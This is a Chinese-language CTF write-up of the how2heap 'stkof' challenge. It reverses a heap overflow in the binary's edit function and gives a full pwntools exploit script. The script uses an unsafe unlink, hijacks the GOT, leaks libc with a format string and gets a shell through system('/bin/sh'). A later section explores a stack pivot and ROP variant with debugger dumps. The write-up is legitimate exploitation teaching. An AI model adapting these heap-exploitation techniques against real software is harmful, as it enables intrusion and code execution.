how2heap中unsafe unlink的第一道题目,也是模版题的难度。二进制文件在这里:stkof

Reversing

程序功能很正常,add、edit、delete和一个没用的show。

add

  • 分配任意大小的堆块,返回堆块的编号

edit

  • 编辑任意堆块内容,没有检查长度导致溢出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    signed __int64 edit()
    {
    signed __int64 result; // rax
    int i; // eax
    unsigned int index; // [rsp+8h] [rbp-88h]
    __int64 size; // [rsp+10h] [rbp-80h]
    char *ptr; // [rsp+18h] [rbp-78h]
    char s; // [rsp+20h] [rbp-70h]
    unsigned __int64 v6; // [rsp+88h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    fgets(&s, 16, stdin);
    index = atol(&s);
    if ( index > 0x100000 )
    return 0xFFFFFFFFLL;
    if ( !::s[index] )
    return 0xFFFFFFFFLL;
    fgets(&s, 16, stdin);
    size = atoll(&s);
    ptr = ::s[index];
    for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )// overflow
    {
    ptr += i;
    size -= i;
    }
    if ( size )
    result = 0xFFFFFFFFLL;
    else
    result = 0LL;
    return result;
    }

delete

  • free之前检查指针是否为空,free后指针清空,没洞

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    signed __int64 delete()
    {
    unsigned int index; // [rsp+Ch] [rbp-74h]
    char s; // [rsp+10h] [rbp-70h]
    unsigned __int64 v3; // [rsp+78h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    fgets(&s, 16, stdin);
    index = atol(&s);
    if ( index > 0x100000 )
    return 0xFFFFFFFFLL;
    if ( !::s[index] )
    return 0xFFFFFFFFLL;
    free(::s[index]);
    ::s[index] = 0LL;
    return 0LL;
    }

现在有堆溢出的洞,没有show的功能,看一下checksec

1
2
3
4
5
6
[*] '/ctf/work/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

看来就是hijack got了。

House of force?

最开始想着house of force一般来说写起来比unlink容易,就开始写了:

1
2
3
4
5
6
7
8
# house of force
add(0x20) # 1
add(0x20) # 2
add(0x20) # 3
add(0x20) # 4, next to top chunk
pl = 0x20*'a'+p64(0)+p64(0xffffffffffffffff)
edit(4, len(pl), pl)
# failed! can't leak top chunk address

之所以分配了这么多块是因为程序本身没有setbuf,所以在fgets或者printf的时候会分配堆块作为缓冲区,先多分几个后续的堆块才可以紧挨着,反正挨着top chunk就行。

但是在覆盖地址的时候发现top chunk的地址在变…又没有leak堆地址的方法,所以失败了。

并不知道怎么才能让堆每次都在一个地方分配…

Unlink + fmt + hijack got

所以还是要老老实实unlink。构造起来也很简单,就不细说了。

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import sys

# context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './stkof'
HOST = '127.0.0.1'
PORT = 1234

def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK')

def edit(index, size, data): # overflow
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(data)
p.recvuntil('OK')

def delete(index):
p.sendline('3')
p.sendline(str(index))
# p.recvuntil('OK')

chunk_list = 0x602140+0x8*2

def exploit(p):

# unlink
add(0x200) # 1
add(0x200) # 2 overflow, fake chunk
add(0x200) # 3 delete
add(0x200) # 4 no use

pl = p64(0)+p64(0x201)
pl += p64(chunk_list-0x18)+p64(chunk_list-0x10)
pl += (0x200-4*8)*'a'
pl += p64(0x200)+p64(0x210)
edit(2, len(pl), pl)
delete(3) # unlink ->0x602138
pl = p64(0)*2
pl += p64(elf.got['free']) # chunk 1
pl += p64(0x602138) # chunk 2

edit(2, len(pl), pl)
pl = "%41$p..."
edit(4, len(pl), pl)
edit(1, 8, p64(elf.plt['printf'])) # free->printf
delete(4) # puts(puts@got)

p.recvuntil('0x')
leak = p.recvuntil('...', drop=True)
# print leak
leak = int(leak, 16)
log.info('leak: '+hex(leak))
libc_base = leak-0x7f1b31218830+0x7f1b311f8000
log.info('libc: '+hex(libc_base))
libc = elf.libc
system = libc_base+libc.sym['system']
edit(1, 8, p64(system)) # free->system
pl = '/bin/sh\x00'
edit(2, len(pl), pl)
delete(2)

p.interactive()

return

if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
pause()
if DEBUG:
gdb.attach(p)
exploit(p)

调试的时候感觉通过attach pid的方法要更方便一些,主要是可以避免set -g mouse on的弊端,还有就是字可以大一点…

还有就是unlink前用chunking fake_chunk检查一下能不能过check。

其实unlink并不只能在堆溢出的时候能用,只要能覆盖下一个chunk的prev_size和size的最低位就可以了,因此在off-by-one和off-by-null的情况下也可以利用。

在我的exp中,unlink后的操作是:

  • 改free@got为printf@plt
  • 在一个堆块内写入格串,通过printf来泄露libc地址(先打出来100个,在里面像libc的地址就行了)
  • 改free@got为system@got
  • free一个写了binsh的堆块,getshell

当然,像ctf-wiki里改free为puts的常规思路也是可以的。(或许可以在每次用到chunk_list时,都检查一下里面的指针差值不能超过太大,可以稍微增大一下难度,不过应该有相应的绕过方法)

Unlink + stack pivot + rop

在how2heap给出的参考链接中,作者用了另外一种没见过的手法。Unlink的步骤是一样的,不同的是之后的步骤。

现在我们把chunk_list的一个指针指向了bss段,如何拿到flag呢?由于bss段我们可以覆盖,地址又已知,作者想到了可以在bss段上布置ROP链。但是问题在于如何劫持rip到bss上,也就是如何pivot stack to bss?

关注delete函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000400B07 delete          proc near               ; CODE XREF: main+72↓p
.text:0000000000400B07
.text:0000000000400B07 index = dword ptr -74h
.text:0000000000400B07 s = byte ptr -70h
.text:0000000000400B07 var_8 = qword ptr -8
.text:0000000000400B07
.text:0000000000400B07 ; __unwind {
.text:0000000000400B07 push rbp
.text:0000000000400B08 mov rbp, rsp
.text:0000000000400B0B add rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000400B0F mov rax, fs:28h
.text:0000000000400B18 mov [rbp+var_8], rax
.text:0000000000400B1C xor eax, eax
.text:0000000000400B1E mov rdx, cs:stdin ; stream
.text:0000000000400B25 lea rax, [rbp+s]
.text:0000000000400B29 mov esi, 10h ; n
.text:0000000000400B2E mov rdi, rax ; s <= fgets的缓冲区
.text:0000000000400B31 call _fgets
.text:0000000000400B36 lea rax, [rbp+s]
.text:0000000000400B3A mov rdi, rax ; nptr
.text:0000000000400B3D call _atol
.text:0000000000400B42 mov [rbp+index], eax
.text:0000000000400B45 cmp [rbp+index], 100000h
.text:0000000000400B4C jbe short loc_400B55
.text:0000000000400B4E mov eax, 0FFFFFFFFh
.text:0000000000400B53 jmp short loc_400B93

我们在调用完fgets的地方下断点,看一下此时的rsp指向哪里:

1
2
3
4
5
6
7
8
9
10
11
12
Breakpoint *0x400b36
pwndbg> x/20gx $rsp
0x7fff5ad67640: 0x0000000000000000 0x00007f53ad153ce4
0x7fff5ad67650: 0x6262626261616161 0x0064646463636363
0x7fff5ad67660: 0x000000000000000a 0xffffffffffffffff
0x7fff5ad67670: 0x0000000005000000 0x00007fff5ad676e0
0x7fff5ad67680: 0x00007fff5ad676e0 0x0000000000000000
0x7fff5ad67690: 0x00007fff5ad67750 0x0000000000400840
0x7fff5ad676a0: 0x00007fff5ad67830 0x0000000000000000
0x7fff5ad676b0: 0x0000000000000000 0x8c328d9f4119fe00
0x7fff5ad676c0: 0x00007fff5ad67750 0x0000000000400ccf
0x7fff5ad676d0: 0x0000000000000000 0x0000000000000000

可以看到rsp指向的是s-0x18的位置,s是存储fgets内容的字符串数组。

如果能够将atol@got覆盖为一个gadget: pop; pop; pop; ret,比如

1
0x0000000000400dbe : pop r13 ; pop r14 ; pop r15 ; ret

那么我们就有了16字节的rop空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
──────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────
RAX 0x7fff5ad67650 ◂— 'aaaabbbbccccddd'
RBX 0x0
RCX 0x6464646363636362 ('bccccddd')
RDX 0x7f53ad4ab790 (_IO_stdfile_0_lock) ◂— 0x0
RDI 0x7fff5ad67650 ◂— 'aaaabbbbccccddd'
RSI 0x1ddc01f ◂— 0xa64 /* 'd\n' */
R8 0x0
R9 0x7f53ad6c9700 ◂— 0x7f53ad6c9700
R10 0x7f53ad6c9700 ◂— 0x7f53ad6c9700
R11 0x246
R12 0x400840 ◂— xor ebp, ebp
R13 0x400b42 ◂— mov dword ptr [rbp - 0x74], eax
R14 0x0
R15 0x7f53ad153ce4 (_IO_getline_info+292) ◂— mov r8, qword ptr [rsp + 8]
RBP 0x7fff5ad676c0 —▸ 0x7fff5ad67750 —▸ 0x400d60 ◂— push r15
RSP 0x7fff5ad67650 ◂— 'aaaabbbbccccddd'
RIP 0x400dc4 ◂— ret
────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────
► 0x400dc4 ret <0x6262626261616161>

其实不太明白,怎么看感觉也是s-0x10啊,为什么r13不是pop出的0?16字节的rop空间也没用,唯一有用的就是能控制一下rip

如果用之前的方法leak了libc地址,这里用one gadget没准也可以getshell。

如果用栈劫持的方法,想办法pop rsp;ret,跳到bss上执行rop也是可以的,同样可以leak。

具体有空再调吧,不过这个思路感觉很值得学习一下。

Ref